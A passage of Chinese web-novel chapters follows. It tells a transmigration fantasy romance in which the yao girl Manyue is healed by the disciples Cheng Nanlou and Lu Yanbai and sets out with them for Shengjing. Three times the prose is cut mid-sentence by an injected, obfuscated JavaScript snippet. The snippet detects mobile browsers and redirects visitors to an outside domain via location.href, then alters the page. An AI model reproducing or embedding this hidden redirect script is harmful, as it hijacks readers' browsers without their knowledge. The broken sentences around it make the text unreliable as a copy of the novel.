陆宴白笑得眉眼弯弯,语气却阴森森的:“敢吐出来就把你变回真身带走。” ……满月毫无骨气地咽了回去。 一股子清香的草木气味在五脏六腑中化开,味道还怪好吃,和小时候她生病蔓娘子从山下捉妖师们那里抢来的苦味丹药截然不同。 满月稀奇:“你给我吃了什么?” 陆宴白专注替她处理着腿上的伤,头也不抬:“让你好受点,不必经受皮肉之苦。”言罢他抬眸,林间斑驳光影错落,映得他眉眼也有些不真切了,平白多了些花树的艳.色,但是一晃眼又都散了。 奇怪,明明是同一张面容,为何给人的观感却千差万别,平日的他,在地宫中的他,和现在花间树下的他。 “怎么,怕我下毒?”陆宴白轻笑着,半真半假,让人捉摸不透。 满月一个激灵从不着边际的思绪中回过神来,她眼神飘忽了下,若无其事地转移话题:“我的腿……好了吗?” 陆宴白在玄都观一向是众人仰望的天之骄子,术法,阵法,符箓,卜卦样样精通,唯独医术差强人意。没办法,他自己很少受伤,又没什么济世为怀的志向,于他无利,自然懒得费工夫。因而这方面反倒是素有天赋的许陈仓在弟子中拔得头筹。 不过陆宴白当然不会这么讲,他替她简单包扎好,懒懒起身:“你伤得不轻,回去再看。” 满月点点头,一步一瘸地就要走。 陆宴白瞧她这模样,倏地笑了:“你该不会就这么跟我回去吧?” 满月懵然:“要不然呢?” “等你回去,只怕他们都已经到了盛京。”陆宴白刻薄起人来一向不留情面,他扫了眼满月沾着血的裙摆,道,“要不你化回妖身,我带你走。” “不行!!!”陆宴白话音未落,就已是引来满月极为强烈的反对。 头可断,血可流,妖身断断不能化。 这是满月为数不多的底线和原则。 陆宴白垂眸,长密的睫毛在他眼底投下一片阴影,嘴角讥诮的笑带了丝疑惑:“你好像很抗拒化妖身, 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见满月迟迟不动,陆宴白挑了下眉,他懒得回头,只道:“要不然我背你,要不然你变妖身,你自己选。” 满月愁容满面:“一定要选吗?” 陆宴白笑眼弯弯:“那你也可以选择留在这里自生自灭。” 满月:“……” 满月暗叹一声,最终还是屈服于现实的考量选了前者。 她不情不愿地俯下身,慢吞吞趴到陆宴白背上,手环住了他的脖子。 陆宴白只觉一股甜而不腻的味道充盈在鼻尖,有些像杏子糕。 难道这家伙的真身是杏子果? 陆宴白若有所思之时,满月早在心底暗骂了他几百回,不过她面上倒是一点不显露,反而假客气道:“那就有劳你了。” 少年的身量修长清隽,但背起人来却稳健得很。 满月原本还有些抗拒和他太近的接触,走着走着,许是日头太晒的缘故,又或许是这些天经历了着实太多,一时放松下来,她竟平白生出些困意。 起先她还有意识地不让自己睡着,时间一久,终于还是抵不住周公的召唤,睡了过去。 满月的头沉下去,贴在了陆宴白的侧颈。那股杏子糕的味道愈发浓郁起来,丝丝缕缕萦绕在他的鼻端。 她发髻上的白绒球也跟着垂下来,随着他的脚步而一晃一晃,细细的绒毛蹭到他的脸颊,若有似无,挠得他有些发痒,刚想偏开,白绒球又摆到一侧去,来来回回好几次,十分不受控制。 和它主人一个德性。 陆宴白有点被气笑了。 他侧头,刚想喊醒这个讨债鬼,却瞧见她长密的睫毛垂着,随着均匀的呼吸而轻颤,竟然是睡着了。 而且还睡得相当踏实。 浑然没有一点自己还在陌生人背上挂着的警惕之心。 陆宴白忽然就歇了将她喊醒的心思。 暖融融的日光照在她周身,恍惚间仿佛镀了层浅浅的金边。 这几日她先是被他劫持,后在地宫九死一生,下了山还没等恢复,好巧不巧又偏偏遇到了邪道,倒是难得有这样安宁的片刻。 他以前怎么没发现自己这么爱做好人? 短短一天之内,他已经为她让了两次步。这放在个性温和的程南楼身上或许不算稀奇,于他这般随性所欲到极点的人,却是实属罕见。 算了。 他想。 就这样吧。 22. 022 满月被陆宴白背回去时,日头已经沉了一半。 再回到这个地方,心态已和之前不一样了。满月先跟着陆宴白去见他师父。行藏道人对于满月的遭遇并不意外,也可能是算到了她会有此一劫,毕竟行藏道人最为善卜,纵然不是红线道人,也会是其他除妖师。 “到了盛京,你有个栖身之所,待学有所成,到时再想回来寻你的亲人也不迟。”行藏道人看着她,平静而祥和,让人只是在他身旁,就不觉受到感化,心境也变得更为宁静。 满月知道若不是行藏道人让陆宴白护送自己一程,只怕她先下已是身首异处,故而对行藏道人比起先前的敬重更添了几分由衷的感激:“多谢道长。” 行藏道人注意到她受了伤,许陈仓不在,他便对正在一旁整理经文的程南楼道:“南楼,你替她看看。” 程南楼闻言停下手上的动作,他抬眸看来,正正好与一同抬眼的满月视线相对。 男主就是男主,明明同样的蓝色衣衫,在他身上就是比旁人好看一倍,空谷幽兰,淡雅清隽,衬得他本就如画眉眼,更添几分水墨画般清浅的秀气。 陆宴白怎么就不知道学学人家的长相呢? 但凡他不是顶着一张平平无奇路人脸,她一开始有了戒心,就不会横生后续那么的枝节。 想着,满月不觉瞧了眼陆宴白,发现在她看程南楼的时候,他也在看她,目光撞上,满月心头没由来地咯噔一声,正想若无其事移开视线,却见陆宴白眉梢微挑,似笑非笑用嘴型无声地问了她一句:好看吗? 这自然是问她程南楼好看吗。 满月:…… 她答也不是不答也不是,好在程南楼听从师命走了过来,不经意替她解了围:“姑娘这边请。” 满月暗暗松了口气,她跟着程南楼离开,听见后面行藏道人的声音:“宴白留下,我有事同你讲。” 门扉合上,行藏道人的声音也渐渐被隔绝,之后的话再也听不清了。 程南楼将满月带去了隔壁的茶室。小道童和主角团的许陈仓都不在,室内安静,一时只有他们两个。 满月悄悄打量着程南楼。 尚未经历那些痛苦的事情,此时的程南楼,还没有原著里那种远超年龄的沉重,更多的是神似行藏道人的温和,恬淡静雅,平易近人,与他相处,总有种莫名的安心感,让人不觉就放下警惕。 满月打从有在这个世界生活的记忆以来,无时无刻不处在一种应激的备战状态,三危山险恶,离开三危山更加险恶,冷不丁见到这么一个人,只觉得如沐春风。 太好了是圣父我们有救了。 满月对程南楼的感情很是复杂。 她十分喜欢原著,尤其喜爱作者对男主程南楼的塑造。但那是作为纸片人的他,本身就与她相隔着遥不可及的距离。现在她也成了局中人,这份感情不自觉变得怪异起来。再加上她不仅拿走了本该属于他的机缘小灯妖,还让他的死对头陆宴白取到了同样也本该属于他的命魂珠…… 满月实在是……心虚极了。 程南楼端出一方红木锦盒,准备妥当一抬头,发现对面的小姑娘正盯着自己瞧。他生得好看,早对这样的打量习以为常,但不知怎么,面前人看他的眼神却有些奇怪,不是欣赏,也并非看呆了,毫无羞赧,反倒隐隐透着愧疚——尽管她以为自己掩藏得很好。 程南楼虽是奇怪,可良好的教养令他并不表露出来,只温声道:“请问姑娘名姓?” 满月一心沉浸在自己的内心戏中,没留意便将真名脱口而出:“叫我满月就好。” 程南楼略一颔首:“满月姑娘,可否让我看一下你的伤口?” 真有礼貌。 不愧是温良恭俭让的原著男主。 不像某个混蛋。 在心里经过一番拉踩后,满月才带着同样客气有礼的笑回复:“不介意,多谢小道长。” “不必叫我道长,我叫程南楼,你直呼姓名即可。”程南楼言罢,稍稍屈膝半跪下来,他轻轻掀开满月的衣裙,伤口之前已经被陆宴白简单包扎过,一路回来,又有鲜血渗了出来,看样子确实伤得不轻。 程南楼抬眼,不见满月有任何痛苦的神色,想来师兄已经给她服过了止痛的丹药。 他一层层拆开裹帘,动作极为娴熟地替她又处理了一遍伤口。和陆宴白那种时时刻刻的漫不经心不同,程南楼几乎做每件事都很认真,他长睫微垂着,目光一瞬不瞬专注在她的伤口上,因为被鬼物啃噬,有黑色的细小碎片扎进去,须得耐着性子一片一片挑出来。 被这么温柔地对待,满月心头的罪恶感却愈演愈烈。 她强迫自己移开目光,不再去思考与之有关的事。 “满月姑娘究竟遇到了何人?”程南楼忽然问道。 满月不知那人名姓,也对不上原著的人物,她想了想,大致描述了那邪道的特征和他豢养的鬼物。 程南楼若有所思:“应当是那位红线道人。我们前不久也曾遇到过,师父说他身上有邪异之感,想来就是因为他豢养的那些像红线的鬼物。” 满月点点头,想的却是原著中确实没有这样一号人物。 看来除了原著提及的,这个世界还多的是她不了解不熟知的危险。 ……暂时抱一下大腿是正确的。 满月心有戚戚。程南楼许是察觉出她的不安,朝着她轻轻笑了下,以示安慰:“放心,师父在盛京的那位朋友很厉害,一定帮得到你。” 满月眨眨眼,倒真的有点好奇:“你们经常这样……帮助萍水相逢的妖类吗?” “自然。”程南楼不明所以,“见到有人身陷困境,岂有坐视不管的道理?” 满月笑起来,专挑他话里的茬:“但我是妖,又不是人。” “妖与人并无二致,都是生活在这片大地的生灵,都有善心恶心,如何能只以一个身份就论曲直是非?”程南楼抬了下眸,满月清晰看见他眼底的清明和坚定,尽管只是惊鸿一瞥,却足够让她怔愣一瞬。 她倒不是惊叹于这套理论,读过原著,不久前又才听许陈仓讲过类似的话,这说法并不新奇,她惊讶的,是程南楼讲这话时无意中流露出的那种平静安然的平和。 陈仓这样讲,盖因她有一份来自良好出身的心高气傲,不屑与浑浊世间同流合污,而程南楼这么讲,则是因为他是发自内心这么觉得。 那是一种天生具足的平等心,不掺杂其余念头,干净得一尘不染。 怪不得原著里曾说,与大部分人所以为的陆宴白不一样,程南楼才是行藏道人真正看好的传人。 这份心境的确当得起。 只是不知缺少了命魂珠的加持,他还能不能有原著那么好运…… 程南楼却浑然不觉这话有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15995426|178149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多了不起,他取来一张符纸,随手一点,符纸即刻燃起,很快烧为了灰烬。 程南楼将符灰和在配好的药膏中,悉心替她上起药来。 药体冰凉,将伤口处隐约的灼热遮了下去。 满月垂眸瞧着眼前的程南楼,大概是他圣父气场太强,叫嚣在她心头的愧疚感逐渐变得安静下来。 唉。 如果她有金手指就好了,有金手指,至少可以帮上他一点,也不会像现在一样只能被良心灼烤,备受煎熬。 “满月姑娘,可否帮我把那边的药瓶拿过来?”程南楼抬头,又一次对上她的眼睛,猝不及防。 满月心神微晃。她慌忙收起视线,探身去拿红木锦盒里的东西,许是心不定,收手时没留意,差点打翻了案几上的茶盏。 满月赶紧去救茶盏。她刚一接到茶盏,一只白皙纤长的手同时覆了上来。 指尖触及,是带着温度的暖意。 “小心。”程南楼道。 满月脑子空白了一瞬,下一刻她反应过来,脸颊不受控制腾地变红,一路发烫到了耳尖。 满月也不知道自己怎么会有这样的反应,她的心砰砰直跳,正打算讲些什么来缓解尴尬,一道带笑的声音忽然横空插.了进来,平白扰碎了一室的安静。 “是我来的不巧了吗?” 听到熟悉的声音,满月猛然回过神,她循声瞧去,见陆宴白懒懒倚在门边,不知来了多久,正弯着眼睛,笑眯眯看着她,带着几分促狭的调侃。 被他这样注视着,不知为何,满月莫名有些发起虚来。 她敛回视线,很没骨气地往后缩了缩。 程南楼看见来人,倒是没有太大的反应,略一颔首打招呼:“师兄。” 语毕,他从满月手中接过茶盏,稳稳当当重新放好。 陆宴白看了看他,又看了看满月,方才笑意盈盈道:“怎么,不欢迎我来?” 满月清楚这话是对她讲的,顿时压力山大。她用最快的速度调整好心态,扬起假假的笑容,抬头看他:“我本来想上完药就去找你道谢,没想到你先来了。” 陆宴白挑了挑眉,懒得理会她这话几分真几分假,转而觑向半跪在满月身前的程南楼:“她怎么样?可有性命之忧?” “我替她清了余毒,并无大碍。”程南楼丝毫没有感觉到他们之间微妙的暗流涌动。他给她换了崭新的裹帘,动作轻柔地替她包扎好,拿起剩下的药膏起了身。 “这瓶药膏外敷,每日早晚两次,你……” 满月接过药膏,同样是笑,对着程南楼就不觉真情实感多了:“我自己来就好,不麻烦你了。” 程南楼顿了顿,只得道:“你若有什么不舒服的地方,再来找我。” 说完,程南楼瞧向等在门边的陆宴白,看他这样子十有八九是有事找满月,便收拾起案几上的东西体贴地准备离开了。 走前程南楼想到什么,停下来专门叮嘱道:“满月姑娘,你的伤这几日不能碰水,否则符咒会失效。” 满月点了点头,依依不舍地目送着程南楼离去。毕竟他一走,她就不得不独自面对大魔王了。 程南楼的身影消失在走廊深处。 满月暗叹一声,刚要打起精神应付还留在原地的人,就先听到一个声音笑吟吟地朝她砸过来。 “满月是谁?” 他道。 23. 023 短短四个字,如当头棒喝,一股寒意瞬间窜上满月的脊背。 满月冷汗涔涔。 她怎么忘了这茬了…… 当初问名字,她以为以后不会有交际,就胡编乱造了个,他一直没有叫过,她也就险些忘记自己在陆宴白心中还是“小卓”而不是“满月”。 满月深谙大魔王睚眦必报的性格,一瞬间无数种死法走马灯般闪回过她的脑海。 眼下她只有两个选择,直接坦白,又或是打死不认。后者风险极高,前者……风险也差不多。 满月深吸一口气,艰难地抬起头,盈盈的眸正对上他的眼。 她尴尬地笑了两声,强行解释道:“我快忘了这件事,原先不熟,告你的是假名……现在正好重新认识一下,我不叫小卓,叫满月,就是,天上那个月亮的月。” 陆宴白笑容不变,微垂着眸觑着她,未置可否。 满月心里突突打着鼓,她尽力维持着假笑,声音听起来却软绵绵明显没什么底气:“这不是,当时不熟吗?哈哈哈哈……” 越笑越心虚,满月停下来,强装镇定与陆宴白对视着,黑白分明的眸中,是她竭力掩藏的恐惧。 陆宴白笑容淡下来,他刚一抬手,满月就下意识闭上了眼,鸦羽似的睫毛微微发颤:“别杀我!” 陆宴白动作不停,却是略过了她,拿起了旁边案几上留下的白瓷净瓶。 “这么怕我。”陆宴白轻笑着把玩起手上的白瓷瓶,许久,才懒洋洋抬了下眸,带着几分似是而非的试探,“那为何不怕他们?” 以前陆宴白以为她生性胆怯多疑,可现在发现她并非对所有人都是这样。 她对认识不到半天的程南楼都能坦诚相待,也丝毫不怀疑师父的动机与用心就全盘相信,唯独对他,还是一如既往地满怀戒备。 自他接触她以来,她身上就处处透着这种怪异的违和感。 虽然她只是三危山上一个无权无势最底层的小妖怪,却知道九曲地宫,知道四方镜,还知道命魂珠。 这太不寻常了。 陆宴白自小就和玄都观的其他弟子不太一样,他对行藏道人所讲的那套仁爱大义一向不以为然,行事作风素无顾忌,有时为了达到目的,并不介意动用一些会被其他弟子排斥的特殊手段。 本质而言,他与红线道人那类邪道并无区别,唯一的不同只是当初将他捡回来的人,是心无私念的行藏道人罢了。 对于未知的隐患,要下手解决,于他而言实在是一件再简单不过的事。他有足够的信心能做得滴水不漏,不会引来任何人的怀疑,就能让她消失得无影无踪。 但不知为何,偏偏他却提不起什么兴致这么做。 念头转了几转,陆宴白瞧着满月,笑容愈加灿烂。 毕竟这么有趣的人,他也是好久没遇到了。 明明这么弱小又胆怯,随时都可能因为一个微不足道的意外就死掉,生命力却出奇地顽强,就算只有一线生机,也会拼了命牢牢把握。 只是想活下去那么简单?好像不完全是。她的内心似乎藏着一种东西,让她即便在深不见底的绝境之中,也不会真的放任自流听天由命。 见惯了面子比天大,心高气傲,死都不肯低头的正道弟子,又或者是惯会曲意逢迎,拜高踩低,一心唯实力俯首称臣的邪修妖类。她是有点不太一样。 连陆宴白也不得不承认,他确实对她感到好奇。 而满月心头的压力此时俨然到达了顶峰。 她虽不清楚陆宴白心思的千回百转,但也明白被大魔王这么盯着琢磨总归不是件好事。 “因为……因为他们是你的师父师弟,我才不怕的。”耳际嗡鸣间,满月像落水的人摸到了石头,渐渐找回了自己的声音。 她若无其事笑起来,心砰砰直跳,面上却佯装无知:“你们是好人,我从前不知,现在知道了。我日后……绝不会再骗你。” 陆宴白弯起眼睛:“是吗?” “当然是!”满月眨眨眼,灵动的眼中满是货真价实的无辜,这模样就差要抬手起誓,“我是信你的!” 可即便满月将话说到了这份上,陆宴白仍只是眉梢带着笑瞧她,真真假假,明明灭灭,让人猜不透他真实的心意。 ……跟这人相处太累了,说一句话都要折十年寿。 “而且,而且你不是也骗了我吗?”满月一计不成又生一计,天天在三危山上讨生活,她最会的就是把水搅浑,主打一个谁都别想摘干净,“你不是也骗我说你叫陆乙?” 却不想陆宴白眼睛都不眨一下:“我确实叫陆乙。” 满月:? “姓陆字乙名宴白。”陆宴白眉眼弯弯,笑得比她还无辜,“如何骗了你?” 满月:“……” 她怎么没想到这招!! 满月懊悔极了,她咬碎了牙往肚里咽,脸上却勉为其难挂着笑:“……好吧,是我小人之心了。” 言罢,趁着气氛有所回转,满月忙转开话题:“对了,你好像有事来找我,是什么要紧事吗?” 陆宴白不再与她绕弯子,他直截了当阐明来意:“地宫的事,你不要对任何人讲。” 满月一怔,很快反应过来。 陆宴白所指的,并不真是地宫的事,准确来说是他拿走命魂珠的事。 果然,这件事主角团其他人是不知道的。 满月十分清楚自己的生死存亡就在一念之间,大魔王心狠手辣,这应该是他目前为止最在意的点,若她直接答应,以他多疑的性格,定然不肯尽信,总还是要找机会下手的。 虽然有点不地道……算了还是先保命吧。 满月歪了歪脑袋,浑似忘了先前的事,装傻充愣:“地宫的事?什么事?” 陆宴白眯了下眼,笑意不减,只不动声色地瞧着她。 满月恍然大悟,像是才想起来似的:“你是说命魂……” 珠字未出口,少年修长的手指已挡在了她的唇间。 那指尖的凉意,细细碎碎,与他眼底深不可见的寒意交相辉映,竟凭空泛起几分涟漪。 满月这才像是后知后觉明白过来,她露出一个有些害怕的神色,黑白分明的眸中映着粼粼水光,像心底深处遮掩不住的惧色,说话时都没忍住磕绊了下:“我,我知道了。” 说完,她抿抿唇,才犹豫着又开了口:“我……我只想平平安安等我的亲人,到了盛京,与你们相别,我们此生应当不会再见。” 言下之意,这事与她无关,她也不想多管,她只当什么都不知道,也求陆宴白手下留情,放她一马。 这便是满月的目的了。 陆宴白这人,疑心深重,她直接答应他会保密,他不仅不会信,反而会更担心她告密。也只有完完整整演这么一出,让他知道她怕他,心里有所忌惮,他才能稍稍放心。 真是伴君如伴虎,满月觉得自己一辈子的心眼都用在跟陆宴白打交道上了。 陆宴白眉梢微动,好似挺满意她这反应。他没再多讲,只视线瞥了眼她染了血的衣角,语气说不上是关心还是什么:“你好好养伤,几日后就要动身往盛京去了。” 满月大气不敢出,乖乖点了点头。 陆宴白一走,满月就逃也似的回到了她之前住的房间。 她算是看明白了,陆宴白狼子野心,不知道背着人暗戳戳搞什么阴谋诡计,离他彻底黑化只怕时日不多,就是不知让他发现原著里那件事的契机究竟是什么。 她现在被透了底,从前算他半个同谋,肯定被密切 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15995427|178149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 关注着,小灯妖不醒,她一时半会儿还真没法再提前离开。 满月戳戳终于被她从袖子里放出来的小肥啾,趴在案几上哀叹:“我怎么这么倒霉……” 小肥啾并不知短短半日外间翻天覆地的变化,它还在着恼平白被关了半日,耷拉着脑袋,很没力气地啄食着案上的灵谷。 用晚膳时,许陈仓将她带去茶室。 行藏道人此次外出,带在身边的人并不多,除了四位亲传弟子,另有两个负责一些日常琐事的小道童。满月与他们差不多都打过照面,不过头一次正式认识,多少还是有些紧张。 几人之中,唯有许陈仓一个姑娘。用过膳,她便负担起与满月讲解的责任来。 再见到陈仓,满月已然是与先前不一样的心境。 许陈仓作为主角团第一辅助,也是相当浓墨重彩的一个人物。在主角团一水身世悲惨的小可怜中,她与玄妙是唯二出身良好,家人健在的幸运儿。 “这件是我的衣服,你走时记得换上。”许陈仓将一件衣服递给她,一如既往没什么废话,言简意赅地直入正题。 满月接过来,好奇地看着手里的道服:“这是?” 许陈仓也才后知后觉自己这话说得没头没尾,盖因平日里多跟玄妙他们相处太过随性,习惯成自然。 她同她仔细解释起来:“出门在外,人多眼杂,你的身份暴露难免引来不必要的是非,师父的意思是,让你暂且扮作玄都观的弟子,等到了盛京再说其他。” 满月颔首,很理解这个决定。她看着手上的蓝衣,很是奇怪:“你们玄都观都只穿一个颜色的衣服吗?” 许陈仓嗯了一声:“玄都观乃修行之地,并不在外物之上过多在意,同一个颜色齐整,也免得有人起攀比之心。” “既这样,你们如何区分自己的衣服,不怕拿混了?” “衣衫颜色相同,滚边的暗纹却各不一样。”许陈仓也就面上看起来清清冷冷不近人情,对着满月,耐心却是一等一的好,“有些师兄师姐还会在内里绣字,这样也不会分不清楚。” 满月点点头,看到许陈仓衣衫上的暗纹绣的是玉兰,与她给人的印象倒是相合。 许陈仓接着道:“行路匆忙,不比现在好吃好住,有时找不到落脚的去处,风餐露宿也是有的,你要做好心理准备。” 满月笑起来,隐约露出尖尖的虎牙。 对着许陈仓他们,不比在陆宴白面前,她显得随意自在多了:“我知道。你放心好了,我原先在山上,不到卯时也是要起身去学堂做功课的,平日里杂事同样不少,也不是娇生惯养长大的,不要紧。” 玄都观虽然明里暗里救济过不少像满月这样的小妖怪,但对许陈仓来说,如此近距离接触还是头一次。她到底年岁不大,外表高岭之花,内里还是有孩子气的玩性,闻言不觉好奇:“做妖怪也要上学堂?” “自然。”满月歪了下头,白绒球也侧边坠下来。她回看陈仓,觉得她比原著中还要好相处,“要不然术法从何学来?总不能是一生下来就会。” 许陈仓想了想是这个理。她又翻出来一样帷帽,一同塞给满月:“这个给你,人多的时候可以戴一下,上面绣有我的符箓,可以遮蔽妖气,免得被什么暗处的人看出来。” 满月一件一件收好,许陈仓说一句,她就点一下头,像做功课一样认真,将她的话牢牢记在心上。 许陈仓瞧她这模样甚是乖巧,有点抚平了她常年和顽劣师弟打交道的阴影,几不可察弯了下嘴角。 察觉到自己的反应,许陈仓抿了下唇,若无其事地收回视线。她照旧顶着一张没什么表情的脸,淡道:“你若还有什么不懂的,随时来问我。对了,这两瓶玉清露也送你,你受了伤,搭配这个,也能快些痊愈。” 24. 024 白瓷瓶温润的瓶身还残留着许陈仓指尖的温度,满月攥在手里,一时有点受宠若惊。 尽管早就知道主角团的良善心性,满月还是不免被打动了。 三危山就是个弱肉强食的原始社会,除了与她亲如母女的蔓娘子,她从来没有遇到过这样的好人。 满月感动得眼泪汪汪,她极为真诚地看着陈仓,身后仿佛有条尾巴摇啊摇:“谢谢你!” 许陈仓也是没见过这么好养活的人。这些在她看来都是再平常不过的事,被如此领情,反而还有些不习惯。 真是个好不一样的小妖怪…… 许陈仓不自在地清了下嗓子,强行压下自己快按捺不住要扬起的嘴角:“不客气。” 之后的几日他们留在客栈休整。 满月没别的事可做,除了睡就是吃。只要她有意不去想原著那些糟心事,日子倒是比在三危山上还要安逸。 而玄都观的其他人却是忙得不可开交,直将在此地的事处理的差不多,才动身启程。 天刚蒙蒙亮,外间就传来早起动静。 满月睡眼朦胧地醒来,收拾一番,带着同样睡眼朦胧的小肥啾去了茶室。 将走时,满月才知道行藏道人并不与他们同路。他这趟出门,原也不是为了三危山而来的,不过是顺路帮着弟子坐镇,主要还是去罗玉城拜访旧友。 “满月姑娘,我们京中再见。”道了别,行藏道人携两个小道童先行离开。 相比于市面上各类光怪陆离的修仙文,《斩妖》的世界观还是比较接地气的,至少没有动不动就腾风而飞御剑而行,即便修为已是个中翘楚的玄都观修士,也还得老老实实靠脚走路。 马车从春阳镇走过,满月撩起帘子一角,看着天边山脊的影子越来越淡,有种说不出的怅然。 不管再怎么说,这里毕竟是她生活了十六年的地方,纵然有些不好的回忆,也还是有感情在的。 反观小肥啾,半点没有背井离乡的忧愁,已然和新认识的朋友打成一片。 玄妙将灵谷放在手心,初升的朝阳从窗棂洒落进来,照得灵谷熠熠生光,一粒粒像断了线的珠子。 小肥啾啄食着他掌心的灵谷,小脑袋一动一动,显得十分机灵。 玄妙饶有兴致地观察着小肥啾的一举一动。 原著里玄妙的戏份并不是太多,他没有跟着程南楼外出寻找命魂珠,而是留守在盛京。但他如今的模样与满月对他的印象却是相差最大的。原著里他很是成熟稳重,利用自己的出身帮忙打了不少辅助和掩护。现在的他年纪稍小一点,性子顽皮,甚为活泼好动,想来是还没有经历过那件事的缘故。 玄妙问道:“这是你豢养的灵宠吗?” 满月摇摇头:“不是。小肥啾是我捡来的,只是年岁小妖力低,还不能化出人身。” “可是我在它身上感受不到一点妖气。”玄妙轻轻拨了下小肥啾的小脑袋,很是奇怪。 满月闻言也看过来,有点不确定地说:“……许是它妖力太过低微了吧。” 这些年满月用自己的月钱不知换了多少灵谷,只希望小肥啾能快些修出人身,可惜最后都打了水漂,不见一点动静。 她是个妖脉断绝的废物就算了,捡了个来,怎么也是个小废物。 想着,满月又往案几上倒了些灵谷,往小肥啾那边推了推,让它多吃点。 傍晚时分马车终于停在野外一处荒山上,打算在此歇脚。 经过一整日的暴晒,地上仍留有余温,山间有徐徐的风刮来,带着蒸腾的热气。 程南楼已经挑了一处平坦的地方架起篝火。看得出他常年在外游历,做起这些事情很是娴熟利落。 许陈仓和玄妙也各有分工,一时只剩下满月无所事事。 满月不好闲着,主动帮忙去捡枯枝给程南楼。 程南楼接过,对着她温和一笑:“多谢。” 满月十分肤浅地被男主的美貌所摄,心情愉悦起来,扬起笑容回应:“不用谢。” 她话音刚落,怀中平白被塞了几个空瘪的水囊。 满月转头,却见是陆宴白站在她旁边。 大抵是身量高,又站得近,他居高临下瞧着她,似笑非笑:“你既然这么闲,不如跟我去打些水来。” 听到这话,满月的笑容以肉眼可见的速度垮了下去,她勉强撑着些许笑意,声音不觉低了好几度:“好。” 陆宴白挑眉,笑意盈盈:“不愿意?” “哪有!”满月对他这阴森森的语气熟悉得很,为示诚意,她抱紧怀里的水囊,三步并作两步,抢先他往溪水边去。 溪水潺潺,清澈见底。 满月敛起裙角小心翼翼蹲下来,她将水囊放入溪水中,水流淌过她指尖,有几分热意,天边金红的霞光,映入水中,波光粼粼。 满月歪了下脑袋,瞧着溪水的倒影,不觉走了神。 她对未来还是感到迷茫,不知道现在的决定对不对,更不知道这个决定究竟会将她带往何处。 满月轻轻叹了口气,正在这时,耳边传来一道声音,清晰可闻:“你怎么了?” 满月吓了一跳,手一松,水囊顺着溪水往下游飘去。 “水囊!”满月来不及管害她分心的罪魁祸首,她伸手去够飘走的水囊,然而溪边石子光滑,冷不防踩上去,身体一轻,就往旁边栽了去。 事发突然,陆宴白忙着去拦溪中的水囊,一时没管这边,倒叫满月砸了个结结实实,两人一齐摔在了溪水边。 满月衣裙湿了大半,但更让她恐慌的是被她压在身上当了缓冲的陆宴白,她下巴磕在他的锁骨处,瞧不见他的脸,也不敢瞧。 满月手忙脚乱地从陆宴白身上爬起来:“对,对不起!” 和陆宴白相处这么久,只有这句道歉是她最真心实意的。 没办法,她还想活命啊!! 相比满月,陆宴白半个身子都浸在了溪水中,好在如今是暑天,不见冷意。 他仰起头,从这个角度看去,满月眸底的惊恐一览无余。 陆宴白挑了下眉,笑起来。他向着满月伸出手。沉沉黑眸映着将要落下的暮色,眉梢眼角被晚霞照得绯红,光华流转间,竟将平淡的五官染上几分妖冶的艳色,有点像之前与画境斗法时的他。 “撞到了我,不负责把我扶起来?”他道。 满月闻言才反应过来,她赶忙去抓他的手,不想刚一碰上,陆宴白却忽的反手握住了她,往自己身前一带,满月毫无防备,迎头就又栽了过去。 水花溅起,她成功摔进溪水中,这一次全身都湿透了。 满月:“……” 天杀的!! 她再是个怕死的,这下也终于有了脾气。满月从溪水里爬起来,气恼地看向故意拖她下水的人:“你……” 陆宴白仰着脸瞧她,晚霞细碎的光映在他的瞳中,满是恶作剧得逞的笑意:“我什么?” 混蛋两个字在嘴边转了几转,最后还是被她所剩不多的理智给压了回去。 满月一边在心里默念着不跟疯子一般见识,一边冷着脸走到岸边。湿了水的衣服贴在身上,虽然不冷,但湿漉漉的到底难受。 满月拧着衣服上的水,那边陆宴白却早已用灵力烘干。他走过来,将一张符随手贴在她脑门上:“你们三危山难道连避水诀都没教过?” 满月浅浅地碎了。 她扯下符,背转过身子,不理他了。 不过满月的骨气仅限于此。最后她还是没忍住用他给的避水符烘干了衣衫。 不跟自己过不去永远是她坚守的信条。 与此同时最后一丝晚霞也消失不见,四下陷入一片昏暗之中,白日的余热散去,诚如陆宴白所言,山里的夜很快就透出了几分凉意。 满月打了个喷嚏,她将剩下的水囊打好水,抱在怀中,跟着陆宴白原路返回。 篝火一早架好,马也喂饱喝足,只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15995428|178149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等着他们两个。 满月挨着许陈仓坐下来。 不知为何,她从溪边回来之后,就有点头昏脑涨,身上也有些发冷。 满月抱着双膝,下巴支在膝盖上,靠在柴火堆旁取暖。 许陈仓见她这样有些奇怪:“你怎么了?” “有点冷。”满月将手暖热了,贴在自己的脸上。 “冷?”许陈仓更奇怪了。 山里虽冷得快,可现在毕竟是暑天,也不至于会冷。 